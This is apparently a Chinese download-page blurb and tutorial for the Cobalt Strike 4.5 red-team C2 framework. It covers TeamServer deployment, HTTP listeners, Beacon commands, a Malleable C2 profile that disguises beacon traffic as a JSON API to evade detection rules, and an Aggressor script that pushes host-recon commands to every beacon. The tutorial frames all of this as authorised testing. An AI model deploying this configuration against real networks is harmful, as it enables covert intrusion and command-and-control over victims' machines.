简介Cobalt Strike 4.5 是一款广泛用于渗透测试与红队评估的团队协作工具面向安全测试人员、攻防演练人员及网络安全学习者支持 HTTP、HTTPS、DNS 等多种协议主机上线集成提权、凭据导出、端口转发、socket 代理、office 攻击、文件捆绑和钓鱼等后渗透能力并可调用 Mimikatz 等第三方工具。压缩包共 27 个文件大小 49.12MB涵盖 Windows 与 Linux 双平台启动脚本、主程序 exe/jar、运行所需 dll、团队服务器配置properties/profile/cna及中英文用户指南 PDF 等类型齐全便于在实战与实验环境中快速部署。已有 1576 人学习下载。资源内含中文本地化主程序、官方 4.5 与 4.6 用户手册、常用 teamserver 启动脚本、第三方扩展模块及可视化图标素材覆盖从服务端配置到客户端使用的完整链路可帮助使用者快速搭建团队服务器掌握从主机上线、权限提升到内网横向的完整流程同时通过配置文件示例理解 C2 流量伪装、免杀加载与钓鱼攻击等高级用法。1. Cobalt Strike 4.5 不是攻击工具是授权评估里的指挥调度台Cobalt Strike 4.5 这个名字在攻防演练里几乎等同于“后渗透阶段的指挥台”。你可以把它理解成一套上下行信道Beacon 是在目标机器上运行的轻量通道负责把执行结果回传TeamServer 负责接收这些回传再由图形客户端统一下发任务。4.5 这个版本让 HTTP/HTTPS 流量整形和 Aggressor 脚本协作更顺手很多安全团队做内网评估时都会先把它跑熟。它解决的核心问题是你在授权测试里已经拿到一个可执行权限后如何保持这条链路不掉、批量操作多台主机、把操作日志留清楚。适合红队、渗透测试工程师也适合蓝队把它当流量样本反查规则。要强调一句红线它只允许在获得书面授权的系统和自建靶场里使用。2. Cobalt Strike 4.5 的三条链路与最小部署把 TeamServer 和 Beacon 跑通2.1 先分清 TeamServer、客户端和 Beacon 各管什么很多人第一次打开 4.5 客户端会犯迷糊连接窗口要填服务器 IP 和密码进去以后又是一堆菜单到底哪部分是“服务端”哪部分是“攻击端”我一般这样拆解TeamServer 是跑在 Linux 主机上的 Java 进程它保存所有会话状态、Beacon 列表、日志和 listener 配置是整个系统的状态中心客户端只是连上去的图形界面可以多个人同时连同一个 TeamServer这就是团队协作的基础Beacon 是部署到目标机器上的小程序它不监听入站端口而是按心跳周期主动向外回连。这种“主动外联”的设计是关键。目标机器往往处在 NAT 后面没有公网地址入站连接根本到不了让 Beacon 主动向外连TeamServer 这边只要有一个可达的监听端口就行。所以在 4.5 的拓扑里负责接收回连的 listener 端口必须从目标网络能访问到否则后面所有操作都是空谈。下面是三个组件的职责拆解。组件运行位置职责启停方式TeamServerLinux 服务器保存状态、管理 listener、记录日志./teamserver 启动客户端Windows/Mac 操作员机器连接 TeamServer、下发操作java -jar 启动Beacon授权目标机器执行命令、回传数据、维持心跳执行生成的 artifact实际操作里TeamServer 上能看到谁在连、哪个 Beacon 什么时候上线、执行过什么命令这些日志默认落在 logs/ 目录下按日期分文件。很多人只盯着控制台窗口忽略了日志归档后面复盘时就会发现缺了最关键的证据链。2.2 在隔离 Linux 主机上把 TeamServer 跑起来拿到 4.5 之后我习惯先找一台干净的 Linux 评估机系统装完只留必要的 Java 环境然后把它放到隔离网段里。第一步是确认 Java 版本这一步卡住的人不少版本太老teamserver 直接起不来版本太新但架构不匹配也会出现各种诡异报错。4.x 系列普遍建议 Java 11我一般就按这个标准配。cd /opt/cobaltstrike java -version # 确认已是 Java 11 或更高 chmod x teamserver cobaltstrike.jar ./teamserver 192.168.30.10 S3cr3tPss /var/log/teamserver.log 21 这里有几个参数要解释清楚。IP 必须是评估网内可路由的地址不能填 127.0.0.1否则客户端和 Beacon 都会找不到服务端密码是团队共享的进场凭证至少 12 位混合字符别用默认口令把标准输出和错误输出重定向到日志文件能让启动报错保留下来而不是在终端里一闪而过。teamserver 默认的管理端口是 50050客户端连接时要用这个端口和后面为 Beacon 创建的 HTTP/HTTPS 监听端口是两回事别混在一起。客户端连接同样用命令行方式在大内存机器上我会加两个 JVM 参数没加也不影响功能。java -XX:AggressiveHeap -XX:UseParallelGC -jar cobaltstrike.jar 192.168.30.10 50050连接成功后输入团队密码如果一切正常客户端左上角会显示当前 TeamServer 的运行时间。如果这里连不上先看那台 Linux 主机的防火墙是否放行了 50050再看客户端和服务器之间是否有中间设备做了端口限制。这一步是后面所有动作的前置条件值得多花几分钟排除干净。2.3 建 HTTP 监听器并验证第一个 Beacon 上线TeamServer 跑起来后第一件事不是急着生成 payload而是在客户端里把 listener 建好。菜单路径是 Cobalt Strike - Listeners - Add类型选 http名字给一个业务化的名称比如 report-svcHTTP Host 填评估机的可路由 IP端口我用 8080 起步。建完后可以直接用默认配置先生成一版确认链路能通再考虑流量整形。# Beacon 控制台里执行 shell whoami sleep 30 25第一行 shell 命令会在目标机器上起一条系统命令管道把 whoami 的结果回传第二行是 4.5 里最常用的心跳设置30 表示每 30 秒回连一次25 表示 25% 的抖动幅度让心跳间隔不那么整齐。第一次验证时我习惯先改成 sleep 5 0用 5 秒固定间隔观察一次完整回连链路确认后再放宽到业务化的节奏。如果 Beacon 起来几秒就断先查两件事listener 端口是否只对测试机开放目标机出网策略是否允许这个端口。这两类问题占了上线失败的大半原因。注意Beacon 一旦在目标机器上运行就意味着该机器已被纳入授权测试范围。所有操作都必须在书面授权或自建靶场中进行并且保留日志以供审计。3. Malleable C2 流量整形把 4.5 的默认指纹改得像正常业务3.1 默认配置为什么容易被识别4.5 自带的 listener 如果直接用流量特征非常明显固定 User-Agent、固定短 URI、心跳间隔除非手动调否则相当规整。蓝队设备做流量解析时看到“长度很小、间隔规整的 HTTP 轮询 特定 URI 结构”基本可以直接打出 Cobalt Strike 的规则标签。这也是为什么很多评估在前期就暴露——不是 Beacon 命令执行出了问题而是流量形态长得太像教科书。Malleable C2 就是用来改这个的。它允许你用一套 profile 文件重新定义 Beacon 回连时的 HTTP 请求结构User-Agent、URI、参数名、Header 位置、编码方式、服务器响应格式都能按需调整。4.5 对 https 场景还支持证书行为相关的配置可以把自签证书特征也一并处理掉。但要记住一个边界profile 只在新 listener 创建时生效已经跑起来的 listener 不会热加载改完 profile 必须删掉旧 listener、建一个新的。3.2 一份最小可用的 http profile 与参数拆解下面是一份我在评估机里常用的最小 profile把 Beacon 伪装成一个普通的 JSON API 客户端。它的结构不复杂但足够跑通完整链路。set sleep_time 2500; set useragent Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/104.0.0.0 Safari/537.36; http-get { set uri /api/v1/status; client { header Accept application/json; metadata { netbiosu; prepend session; header Cookie; } } server { header Content-Type application/json; output { print; } } } http-post { set uri /api/v1/upload; client { header Content-Type application/json; id { parameter id; } output { print; } } server { header Content-Type application/json; output { print; } } }逐块拆开看set sleep_time 定义心跳间隔单位是毫秒2500 就是 2.5 秒这个值只是测试用真实评估建议从 5000 起步set useragent 全局覆盖默认 UA尽量选和目标网络环境里浏览器版本一致的字符串http-get 块是 Beacon 向服务器“要任务”的方向metadata 定义 Beacon 的元数据如何编码并放到请求的哪个位置这里用 netbiosu 编码后加 session 前缀塞进 Cookiehttp-post 是 Beacon 向服务器“上报数据”的方向id 定义让 Beacon ID 出现在参数 id 里服务器靠它区分是哪个会话server 块定义服务器响应的结构print 表示把真实数据原样塞进响应体。其中几个参数值得单独列出来说明因为改它们直接影响流量规则的命中率。参数作用示例值建议sleep_time心跳间隔2500评估起步 5000别用 0useragent全局 UAChrome/104与目标业务环境匹配uri请求路径/api/v1/status避免 /a /b 这类短路径id 参数名Beacon ID 标识id换成业务化字段名另外要注意 transform 的编码方式前后端必须一致。把 metadata 改成 base64 就能在响应里看到一段可读的编码串调试方便但流量体积会变大netbiosu 体积小适合长期链路。我一般先用 base64 做链路验证确认通后再换回 netbiosu。3.3 用 c2lint 校验 profile再把它挂到新 listener 上profile 文件不是写完就能用。4.5 提供了官方校验工具 c2lint路径就在安装目录下。它比在客户端里加载更严格能查出大部分语法问题和一部分语义冲突。cd /opt/cobaltstrike ./c2lint my.profile echo $?echo 返回 0 表示校验通过非 0 时按提示逐行修改。最常见的报错是在 http-post 块里写进了 http-get 才支持的 transform或者块缺了结束大括号。校验通过后新建 listener 时在 Malleable C2 Profile 一栏选择这个文件然后像之前一样验证 Beacon 上线。通过后也别急着上真实环境先观察两到三个完整心跳周期确认回连间隔和 profile 设定一致。这里有一个常见误用有人为了“更隐蔽”把 sleep_time 设成 0 或几百毫秒。这个思路是反的高频轮询反而更容易被流量设备抓出来也把目标机器的带宽和 CPU 打满。4.5 的链路设计本就偏向低频长连接把间隔调到 5 秒以上再叠一个 10% 到 25% 的抖动比任何花哨的编码都有用。4. Aggressor Script 团队协作把重复操作装进右键菜单4.1 Aggressor 在 4.5 里的定位Aggressor Script 是 4.5 内置的脚本引擎脚本文件扩展名是 .cna。它不只是简单的命令批处理能做的事覆盖三个层面改 UI给 Beacon 右键菜单加自定义命令监听事件比如收到上线回调时自动打日志定时执行批量下发重复任务。团队场景下最实用的价值是把操作标准化——多人连同一个 TeamServer 时每个人的命令习惯不一样与其口头对齐不如把固定动作做成菜单里的按钮点一下执行结果统一进日志。4.5 的控制台会把脚本报错和正常输出混在一起显示所以要养成看控制台的习惯。脚本加载成功后会在 Script Manager 里出现对应条目勾选状态表示当前是否启用。初次上手的人可以把脚本注释放多一点方便其他人接手。4.2 写一个最小脚本给 Beacon 右键菜单加“基础信息收集”下面这个脚本包含三种最常见的结构alias 定义菜单命令、command 定义全局命令、on 关键字监听事件。保存为 hostinfo.cna 后加载即可。alias hostinfo { blog($1, collect host info); bshell($1, whoami hostname systeminfo); } command quickinfo { local($bid); foreach $bid ($2) { bshell($bid, whoami C:\\windows\\temp\\qinfo.txt); blog($1, pushed quickinfo to . $bid); } } on beacon_initial { blog($1, beacon online: . $1); }第一段 alias 给 Beacon 会话的右键菜单加了一项“hostinfo”$1 是当前 Beacon 的 IDbshell 把命令交给对应 Beacon 执行blog 把操作记录写进事件日志。第二段 command 定义了一个叫 quickinfo 的全局命令$1 是客户端名$2 开始才是用户输入的参数foreach 遍历所有在线 Beacon把 whoami 的结果写进目标机器的临时目录避免在桌面路径留下明显文件。第三段 on beacon_initial 是一个事件回调每当有新的 Beacon 上线就在日志里打一条记录这对多主机评估很有用。注意 C:\windows\temp\qinfo.txt 里的反斜杠必须双写否则会被脚本解释成转义符。加载方式是打开 Cobalt Strike - Scripts - Load选择刚才的 .cna 文件。如果控制台出现脚本名而没有报错说明已经生效。执行方式很简单在任意 Beacon 会话上右键就能看到 hostinfo 菜单项在客户端下方输入框敲 quickinfo 后跟 Beacon ID 清单就能批量下发。4.3 脚本加载失败的三类问题脚本加载最常见的失败现象是点了 Load 之后完全没反应。原因多半是脚本管理器里没启用或者脚本路径带了中文和空格。解决方法是把 .cna 放到纯英文路径下然后在 Script Manager 里确认勾选。第二种现象是控制台刷出一串行号报错。原因基本是字符串没闭合、缺少结束大括号这类语法问题。解决时不要对着大段脚本硬找先备份当前内容删到最小骨架只保留一行 alias加载确认能过再逐段加回来。第三种现象比较隐蔽命令执行了但没有任何输出。这是因为 bshell 是异步任务命令结果要等 Beacon 下一次心跳回连时才带回来alias 里不能指望立刻拿到结果。正确做法是先 blog 打一条日志记录任务已下发后续的输出会按 Beacon 会话分批出现在控制台里。这个坑几乎每个第一次写 Aggressor 的人都会踩别问我怎么知道的。5. Cobalt Strike 4.5 的翻车现场与排查路径从上线掉线到指纹暴露这一章我按出现概率排了五个最常踩的坑。每一条都在自建靶场里复现过再套用到授权测试里。如果你刚接触 4.5先别急着堆功能把前面三章的链路、流量、脚本各跑通一遍再读这里才有体感。5.1 Beacon 上线几秒就掉线怎么加都回不来现象是生成的 payload 在目标机器上一跑客户端确实弹出了会话但日志里只有一次上线记录下一条就是退出整个过程不超过几十秒。原因分两类。最常见的是监听端口被出网策略拦截目标机器只能发起短连接连接一断 Beacon 就认为信道失效。其次是 sleep 设置太激进如果当时把心跳设成 0 或 1 秒短期大量请求会把链路打崩机器上的流量监控也会立刻注意到。解决方法是先把 sleep 调到 10 秒重新生成一版 payload换用一个像 443 或 8443 这类通常放行的端口然后从目标机器上确认该端口能正常访问。经验值是第一次验证时别加 jitter把链路跑通再慢慢调节奏。5.2 TeamServer 起不来Unable to access jarfile现象是执行 ./teamserver 后立刻报错提示找不到 jarfile或者直接打印出 Java 版本不兼容的字样。原因大概率是解压路径带了空格或中文teamserver 脚本在拼接相对路径时出了问题另一个高频原因是机器上 Java 版本低于 4.5 的基线要求脚本认为 JVM 不可用。解决方法是把整个目录挪到纯英文路径下比如 /opt/cobaltstrike然后执行 java -version 确认主版本号。Windows 上装了多个 JDK 的尤其要检查 PATH 里 java 指向的是哪个这事能用 where java 直接查出来。5.3 改了 profile 后 listener 能起但 Beacon 完全没有回显现象是 c2lint 校验通过listener 也正常启动payload 在目标机器上执行了但会话列表一直为空。原因是 profile 语法没错但语义不对。最常见的两种情况http-get 和 http-post 的 URI 配反了Beacon 在拉取任务时请求了一个服务器不认识的路径server 块的输出格式和 Beacon 解析逻辑不匹配导致响应内容读不出来。解决方法是把 profile 拆成最小配置只留 set sleep_time 和 http-get 的 metadata确认基线能上线后再逐块添加。这个方法能筛掉九成问题剩下的基本是 transform 编码前后端不一致。5.4 第二个 TeamServer 起不来提示端口被占用现象是同一台评估机上起了第二个实例终端直接报 java.net.BindException: Address already in use。原因是 TeamServer 默认管理端口是 50050第一个实例已经占用了这个地址后续实例没做端口区分就会冲突。这在多团队共用一个评估环境时尤其常见。解决方法是给第二个实例指定不同的管理端口具体参数不同版本略有差异我一般干脆错开机器不在一台主机上堆多个实例。记住一点管理端口和 Beacon 监听端口是两套东西前者管客户端连接后者管 Beacon 回连排查时别混在一起看。5.5 测试环境的流量设备直接打 Cobalt Strike 标签现象是链路完全正常但流量解析设备的日志里出现了 Cobalt Strike 规则名甚至直接标出 Beacon 特征。原因是默认 profile、默认证书、固定 UA 和规整心跳这些全是设备规则的识别点。4.5 的默认配置本来就不是为了隐蔽设计的生产环境直接套用等于把名字写在额头上。解决方法是上真实环境前先做一轮流量自检用默认配置跑一遍记录设备产生的告警再用自写 profile 跑一遍对比告警里消失和残余的特征。这不是教你对抗检测而是理解你自己的评估流量长什么样——蓝队视角里最看重的是“合理业务形态”UA、URI、心跳间隔都要贴合目标网络的实际样子。6. 把 4.5 用厚实三个自检习惯让链路保持可用我很少在拿到 4.5 后第一时间批量生成 payload而是先用最小链路验证三件事再谈效率。这三个习惯都是在翻车之后才慢慢养成的。习惯一每次改 profile 都跑 c2lint并且把校验结果存档。返回非 0 时绝不进下一步通过后的 profile 按日期命名保存方便回滚。回滚这件事救过我很多次——有一次新 profile 上线后所有 Beacon 失联就是靠前一天通过的版本恢复的。./c2lint my.profile || echo profile invalid, fix first习惯二建 listener 后做一次“心跳观察”。在 Beacon 控制台执行 sleep 20 10然后等三个完整心跳周期对照 TeamServer 的时间戳看间隔是否符合 20 秒加 10% 抖动。如果间隔完全规整说明 jitter 没生效回去查 profile 的 sleep_time 是否被全局参数覆盖了。习惯三归档日志。4.5 的 logs 目录会按天生成事件日志和 Beacon 操作记录每次评估结束后我会把整个目录打包连同 profile 和 c2lint 输出一起存好。这既是复盘材料也是对授权方的交代。别嫌麻烦没有日志的链路才是真正的黑匣子。我刚用 4.5 时最喜欢折腾各种 profile 和脚本结果第一次正式演练里最先被点名的就是默认特征。后来把“先校验、再观察、后归档”变成肌肉记忆翻车率才真正降下来。希望帮到你。本文还有配套的精品资源点击获取